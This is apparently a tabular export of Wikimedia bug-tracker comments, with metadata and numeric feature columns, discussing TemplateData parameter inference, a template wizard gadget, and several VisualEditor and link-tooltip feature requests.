* TemplateDate editor

A button to prefill the template data (e.g. use the default data as a start and edit from there). This should not be misused to populate <templatedata> tags on a bunch of pages, this is only useful if users provide data beyond what is inferred (the inferred data is unlikely to ever be satisfactory as at best it can provide which parameters exist and maybe which are optional)."
242471,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"(In reply to comment #4)
> i did it long ago, and published it on
> [[en:Wikipedia:WikiProject_User_scripts/Scripts#Scripts]]. the script page on
> enwiki is [[en:User:קיפודנחש/TemplateParamWizard]].

See also
https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)/Archive_103#Template_Parameter_Wizard
(mentioned on bug 39598 comment 1)

> -- ""Choices"": this allows the designer to declare that a certain parameter
> has
> a fixed set of ""legal"" values. very useful when the template uses a parameter
> as an input for {{#switch:

Bug 51375.

> -- ""Depends on"": only expose this field if some other field is not empty.

Bug 50407.",,,1383413267,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,11.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9347826086956523,0.5,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE

See also
URL
(mentioned on bug 39598 comment 1)

QUOTE
QUOTE
QUOTE
QUOTE

Bug 51375.

QUOTE

Bug 50407."
242465,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"The status was recently changed to ""Assigned"", but the ""Assigned to"" field was left as ""Nobody"". 
is Mr. (or Ms.) ""Nobody"" a new developer on the team?

peace.",,,1377790501,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,5.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,16.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,2.0,18.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.022727272727273,0.7045454545454546,"The status was recently changed to ""Assigned"", but the ""Assigned to"" field was left as ""Nobody"". 
is Mr. (or Ms.) ""Nobody"" a new developer on the team?

peace."
242460,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"Thanks so much for the nice words, but... 
This entry is about templatedata, not templatewizard.

the information i brought above relating to TW was meant as ""what templatedata can learn from TW"" - if you'd like to discuss TW and its use on enwiki, it should be discussed on enwiki, not here.

peace.",,,1375977047,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,5,,1.0,0.0,0.0,3.0,3.0,1.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,9.0,13.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,1.0,0.0,1.0,3.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,7.0,1.0,3.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,13.0,7.0,0.0,3.0,0.0,6.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.7313432835820897,0.7761194029850746,"Thanks so much for the nice words, but... 
This entry is about templatedata, not templatewizard.

the information i brought above relating to TW was meant as ""what templatedata can learn from TW"" - if you'd like to discuss TW and its use on enwiki, it should be discussed on enwiki, not here.

peace."
242453,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"Thank you so much. It works beautifully. I couldn't test it in Hebrew WP because it is situated in the edit toolbar which was disabled by me because I feel more comfortable to type everything with my keyboard. But anyway, the gadget's performance is smooth even while editing large article like ""United States"" in English WP. The only few issues I can think of right now after tried it a bit are, I don't feel the toolbar is the proper place for the gadget icon. It deserves a more visible location in the edit page. The other thing I hope to improve is that I need to select the whole markups of existing template from ""{{"" to ""}}"" in order to edit it in the Wizard. For large infobox template which has lot of parameters filled, it could be little bit inefficient to trigger. I suggest the end of the selection of the markup extends to the first vertical bar near the template name, so only selecting like this ""{{templatename|"", works the same way as ""{{templatename|foo|bar}}"".",,,1375976428,,PHID-USER-xnvlg7y5phtzugavv6wj,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,5,,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,6.0,1.3333333333333333,0.6666666666666666,0.0,0.0,2.6666666666666665,0.6666666666666666,0.0,0.6666666666666666,0.0,3.0,0.0,4.666666666666667,12.0,0.3333333333333333,2.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,6.0,1.3333333333333333,2.6666666666666665,0.6666666666666666,0.3333333333333333,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,12.333333333333334,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,7.0,2.3333333333333335,7.333333333333333,1.3333333333333333,0.3333333333333333,8.333333333333334,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,0.0,6.0,12.0,2.3333333333333335,0.0,4.0,0.0,6.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,1.0,0.6666666666666666,0.0,0.0,3.8186452045606973,0.7389671361502348,"Thank you so much. It works beautifully. I couldn't test it in Hebrew WP because it is situated in the edit toolbar which was disabled by me because I feel more comfortable to type everything with my keyboard. But anyway, the gadget's performance is smooth even while editing large article like ""United States"" in English WP. The only few issues I can think of right now after tried it a bit are, I don't feel the toolbar is the proper place for the gadget icon. It deserves a more visible location in the edit page. The other thing I hope to improve is that I need to select the whole markups of existing template from ""{{"" to ""}}"" in order to edit it in the Wizard. For large infobox template which has lot of parameters filled, it could be little bit inefficient to trigger. I suggest the end of the selection of the markup extends to the first vertical bar near the template name, so only selecting like this ""{{templatename|"", works the same way as ""{{templatename|foo|bar}}""."
242448,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"i did it long ago, and published it on [[en:Wikipedia:WikiProject_User_scripts/Scripts#Scripts]]. the script page on enwiki is [[en:User:קיפודנחש/TemplateParamWizard]]. the script source itself is practically identical to the hewiki one, except maybe some recent enhancement(s) to the hewiki script (for instance, by default, the wizard does not leave empty parameters on the page, but some users asked for this as an option, so now the hewiki script learned to support on more option).


the wizard uses a similar construct to ""templatedata"", but instead of having this information on the template page, it uses a subpage with a fixed name (in enwiki, this fixed name is ""Parameters"", so for Template:Foo, the templatedata equivalent will be in Template:Foo/Parameters).

when the subpage does not exist, the wizard extracts the list of parameter names from the template itself, with some fixed attributes (for instance, in this case it assumes that each parameter is ""multiline"")

i believe there are several people on enwiki who actually use this (at least there were) - you probably want to ask them about their experience (something like

https://en.wikipedia.org/w/index.php?title=Special%3ASearch&profile=advanced&search=TemplateParamWizard+intitle%3Ajs&fulltext=Search&ns2=1&redirs=1&profile=advanced



the wizard supports some attributes that, to the best of my knowledge, ""templatedata""/VE do not support yet, which i think would be good ideas:

-- ""Extended"": this allows the designer to designate some fields as ""secondary"", which means they are not visible when the form opens. if there is at least one ""Extended"" parameter, the form will grow a new checkbox ""Show all fields"", which allows the user to show/hide the ""Extended"" fields.

-- ""Choices"": this allows the designer to declare that a certain parameter has a fixed set of ""legal"" values. very useful when the template uses a parameter as an input for {{#switch:

-- ""Depends on"": only expose this field if some other field is not empty. very useful for templates with many repetitions (e.g., [[en:Template:Track listing]]: you make ""title4"" depend on ""title3"", and then ""note4"", ""writer4"", ""lyrics4"", ""music4"", ""extra4"", ""length4"", and finally ""title5"" all depend on ""title4""). without this feature, the wizard is much less useful for templates of this type.


peace.",,,1375969237,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,5,,2.4,0.2,0.4,0.0,1.0,4.8,1.0,0.0,0.0,0.4,1.6,0.0,0.0,0.4,0.6,0.8,0.0,5.6,10.4,0.2,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.6,0.2,6.4,1.4,1.2,0.2,0.4,0.0,0.6,1.4,1.0,0.0,0.6,0.2,0.8,0.0,0.0,0.0,0.0,0.4,14.8,0.8,1.4,0.0,0.2,0.4,0.0,0.0,0.0,0.6,0.0,0.2,0.6,0.0,0.4,0.2,0.0,0.0,6.6,2.4,4.0,1.8,1.0,11.0,0.0,0.0,0.0,0.2,3.0,0.0,0.4,0.0,3.0,10.4,4.4,0.0,8.6,0.0,3.0,0.0,1.6,1.8,0.6,0.4,0.4,0.6,2.0,3.761059575345289,0.6273139558853844,"i did it long ago, and published it on [[en:Wikipedia:WikiProject_User_scripts/Scripts#Scripts]]. the script page on enwiki is [[en:User:קיפודנחש/TemplateParamWizard]]. the script source itself is practically identical to the hewiki one, except maybe some recent enhancement(s) to the hewiki script (for instance, by default, the wizard does not leave empty parameters on the page, but some users asked for this as an option, so now the hewiki script learned to support on more option).


the wizard uses a similar construct to ""templatedata"", but instead of having this information on the template page, it uses a subpage with a fixed name (in enwiki, this fixed name is ""Parameters"", so for Template:Foo, the templatedata equivalent will be in Template:Foo/Parameters).

when the subpage does not exist, the wizard extracts the list of parameter names from the template itself, with some fixed attributes (for instance, in this case it assumes that each parameter is ""multiline"")

i believe there are several people on enwiki who actually use this (at least there were) - you probably want to ask them about their experience (something like

URL



the wizard supports some attributes that, to the best of my knowledge, ""templatedata""/VE do not support yet, which i think would be good ideas:

-- ""Extended"": this allows the designer to designate some fields as ""secondary"", which means they are not visible when the form opens. if there is at least one ""Extended"" parameter, the form will grow a new checkbox ""Show all fields"", which allows the user to show/hide the ""Extended"" fields.

-- ""Choices"": this allows the designer to declare that a certain parameter has a fixed set of ""legal"" values. very useful when the template uses a parameter as an input for {{#switch:

-- ""Depends on"": only expose this field if some other field is not empty. very useful for templates with many repetitions (e.g., [[en:Template:Track listing]]: you make ""title4"" depend on ""title3"", and then ""note4"", ""writer4"", ""lyrics4"", ""music4"", ""extra4"", ""length4"", and finally ""title5"" all depend on ""title4""). without this feature, the wizard is much less useful for templates of this type.


peace."
242441,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,Hi kipod. I can't understand Hebrew language and I have some trouble to test it in Hebrew Wikipedia. Can you translate the gadget to English Wikipedia under your own userspace? Thank you.,,,1375948802,,PHID-USER-xnvlg7y5phtzugavv6wj,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,5,,3.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,27.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,16.0,11.0,11.0,3.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.216216216216216,0.8108108108108109,Hi kipod. I can't understand Hebrew language and I have some trouble to test it in Hebrew Wikipedia. Can you translate the gadget to English Wikipedia under your own userspace? Thank you.
242435,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"https://he.wikipedia.org/wiki/Mediawiki:Gadget-TemplateParamWizard.js

the function is called buildParamsRaw() (""data"" is the raw template page).

i cannot guarantee that it always works flawlessly, but the wizard works on hewiki  for a while now (more than a year), and i did not get any bug reports (i did have some bug reports for previous versions).

i think it is possible to intentionally create a legal template that will give bad results there: specifically, this function does not take ""nowiki"" and ""noinclude"" tags into account.

OTOH, it uses only 9 out of the budget of 15, so you have 6 lines to augment those shortcomings...

more seriously: i assumed the codebase already have non-negligible amount of logic that can be used to distill the parameter list of a template. 

(full disclosure: i too did not believe it can be done without tons of code - Eran Roz showed me the light)",,,1375942161,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,5,,1.0,0.0,0.0,1.5,2.0,6.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,0.5,8.5,9.0,0.0,1.5,0.0,0.5,0.0,2.5,0.0,0.0,0.0,1.5,0.5,0.0,5.0,2.0,2.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,1.0,0.5,13.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.5,1.0,0.0,1.0,0.0,5.5,2.5,2.0,1.0,1.5,8.0,0.0,0.0,0.0,0.0,6.0,0.0,1.5,0.0,6.5,9.0,2.5,0.0,3.0,0.0,6.5,0.0,1.0,2.0,0.5,0.0,1.0,0.0,0.0,3.7186185133239835,0.7083333333333333,"URL

the function is called buildParamsRaw() (""data"" is the raw template page).

i cannot guarantee that it always works flawlessly, but the wizard works on hewiki  for a while now (more than a year), and i did not get any bug reports (i did have some bug reports for previous versions).

i think it is possible to intentionally create a legal template that will give bad results there: specifically, this function does not take ""nowiki"" and ""noinclude"" tags into account.

OTOH, it uses only 9 out of the budget of 15, so you have 6 lines to augment those shortcomings...

more seriously: i assumed the codebase already have non-negligible amount of logic that can be used to distill the parameter list of a template. 

(full disclosure: i too did not believe it can be done without tons of code - Eran Roz showed me the light)"
242429,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"I very much look forward to a link to the part of the hewiki wizard that implements this logic. I very much doubt it can be done (or done well) in 15 lines of code, and I very much doubt it's trivial or even easy to do it well.",,,1375931029,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,5,,5.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,4.0,0.0,2.0,0.0,5.0,2.0,5.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.2545454545454544,0.6909090909090909,"I very much look forward to a link to the part of the hewiki wizard that implements this logic. I very much doubt it can be done (or done well) in 15 lines of code, and I very much doubt it's trivial or even easy to do it well."
54580,VisualEditor: Allow replacing file by changing the file name,"To replace a file it is currently neccessary to delete the file from the page and insert the new one.

It would be easier to replace the filename only. This avoids to add caption and file options again.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1375804620,1402608867.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-atfd2medq2qoyjgabdcf,task_description,resolved,True,c1,3,False,False,False,5,,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,8.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.05,0.65,"To replace a file it is currently neccessary to delete the file from the page and insert the new one.

It would be easier to replace the filename only. This avoids to add caption and file options again.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
242398,VisualEditor: Allow replacing file by changing the file name,"

*** This bug has been marked as a duplicate of bug 51033 ***",,,1402608867,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-atfd2medq2qoyjgabdcf,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 51033 ***"
242394,VisualEditor: Allow replacing file by changing the file name,"I'm not sure there's a great way to merge the experience of adding a media item and the one for editing one, but this seems a reasonable extension.",,,1383281015,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-atfd2medq2qoyjgabdcf,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,6.0,0.0,0.0,0.0,3.75,0.875,"I'm not sure there's a great way to merge the experience of adding a media item and the one for editing one, but this seems a reasonable extension."
54566,"VisualEditor: When section edit is initiated with an actual page load, VE does not navigate to the section","When VisEd is activated from a section edit link, the focus of the display normally stays on that section.  However, if the user activates from a section edit link while on a diff link (has to be diff of current version), the focus shifts to the top of the page as if the whole page edit link had been pressed.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1375747320,1399312671.0,PHID-USER-imut7wxehhy35ukuzaks,False,,False,PHID-TASK-cvljbzolxfeydqmcoo2c,task_description,resolved,True,c1,3,False,False,False,5,,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,6.0,5.0,0.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.744186046511628,0.5813953488372093,"When VisEd is activated from a section edit link, the focus of the display normally stays on that section.  However, if the user activates from a section edit link while on a diff link (has to be diff of current version), the focus shifts to the top of the page as if the whole page edit link had been pressed.

--------------------------
**Version**: unspecified
**Severity**: minor"
241629,"VisualEditor: When section edit is initiated with an actual page load, VE does not navigate to the section","Change 131415 merged by jenkins-bot:
Generate PHP VE edit section with correct parameter, vesection

https://gerrit.wikimedia.org/r/131415",,,1399312738,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cvljbzolxfeydqmcoo2c,task_subcomment,,True,c1,3,False,,,44,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,"Change 131415 merged by jenkins-bot:
Generate PHP VE edit section with correct parameter, vesection

GERRIT_URL"
241624,"VisualEditor: When section edit is initiated with an actual page load, VE does not navigate to the section","Thanks, Matt!",,,1399312671,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cvljbzolxfeydqmcoo2c,task_subcomment,,True,c1,3,True,,,44,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"Thanks, Matt!"
241621,"VisualEditor: When section edit is initiated with an actual page load, VE does not navigate to the section","Change 131415 had a related patch set uploaded by Mattflaschen:
Generate PHP VE edit section with correct parameter, vesection

https://gerrit.wikimedia.org/r/131415",,,1399259020,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cvljbzolxfeydqmcoo2c,task_subcomment,,True,c1,3,False,,,44,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.041666666666667,1.0,"Change 131415 had a related patch set uploaded by Mattflaschen:
Generate PHP VE edit section with correct parameter, vesection

GERRIT_URL"
241615,"VisualEditor: When section edit is initiated with an actual page load, VE does not navigate to the section","This is just a special case.  The general issue is that VE does not navigate to the section when a section edit is initiated with a fresh page load (it does when it uses the AJAX switch to editing without a page load).  For example, https://en.wikipedia.org/w/index.php?title=Earth&veaction=edit&section=6 .  It appears in this case because VE (there is a comment to this effect) uses a new page load to start section editing when it's showing the latest diff (to deal with another issue).

This applies any time the user is sent directly to edit a section via VE.  For the Growth team's current project, we will allow the user to click ""Sign up and edit"" (including for sections).  This works using the normal signup page, with the returnto and returntoquery parameters.  That means we can not do an AJAX switch.

Besides login/signup, there are other (albeit less common) reasons you might want to link directly to a section edit URL.",,,1399258028,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-cvljbzolxfeydqmcoo2c,task_subcomment,,True,c1,3,True,,,44,,0.5,0.0,0.0,1.0,1.0,5.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,4.5,11.5,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,7.5,1.5,2.0,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,16.5,2.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,9.0,3.0,9.0,3.5,1.0,13.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,3.5,11.5,3.0,0.0,1.0,0.0,3.5,0.0,1.5,4.5,0.0,1.5,0.5,0.5,0.0,3.6701030927835054,0.6443298969072164,"This is just a special case.  The general issue is that VE does not navigate to the section when a section edit is initiated with a fresh page load (it does when it uses the AJAX switch to editing without a page load).  For example, URL .  It appears in this case because VE (there is a comment to this effect) uses a new page load to start section editing when it's showing the latest diff (to deal with another issue).

This applies any time the user is sent directly to edit a section via VE.  For the Growth team's current project, we will allow the user to click ""Sign up and edit"" (including for sections).  This works using the normal signup page, with the returnto and returntoquery parameters.  That means we can not do an AJAX switch.

Besides login/signup, there are other (albeit less common) reasons you might want to link directly to a section edit URL."
54558,"When a link goes to a redirect, show the final destination as a tooltip (title attribute)","Wikis use lots of shortcuts on the talk pages, and it can be quite frustrating for the uninitiated to figure out what WP:MOS, WP:N etc. mean, especially when several are used at once.

Having to click on the link to see that its about the 'Manual of Style' or 'Notability' would be unnecessary, if the same information was available in the tooltip when hovering the link.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement",Low,25.0,1375731240,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,False,PHID-TASK-btbym6mlgax3tzzbkzr4,task_description,open,True,c1,3,False,False,,5,,1.0,0.0,0.0,1.0,0.0,6.0,3.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,2.0,0.0,0.0,1.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,4.0,11.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,2.0,14.0,6.0,0.0,4.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,2.0,3.79,0.66,"Wikis use lots of shortcuts on the talk pages, and it can be quite frustrating for the uninitiated to figure out what WP:MOS, WP:N etc. mean, especially when several are used at once.

Having to click on the link to see that its about the 'Manual of Style' or 'Notability' would be unnecessary, if the same information was available in the tooltip when hovering the link.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement"
241122,"When a link goes to a redirect, show the final destination as a tooltip (title attribute)","I was thinking when reading.

Now that you mention it, it would probably be useful for VisualEditor as well, but I think that can be its own bug.

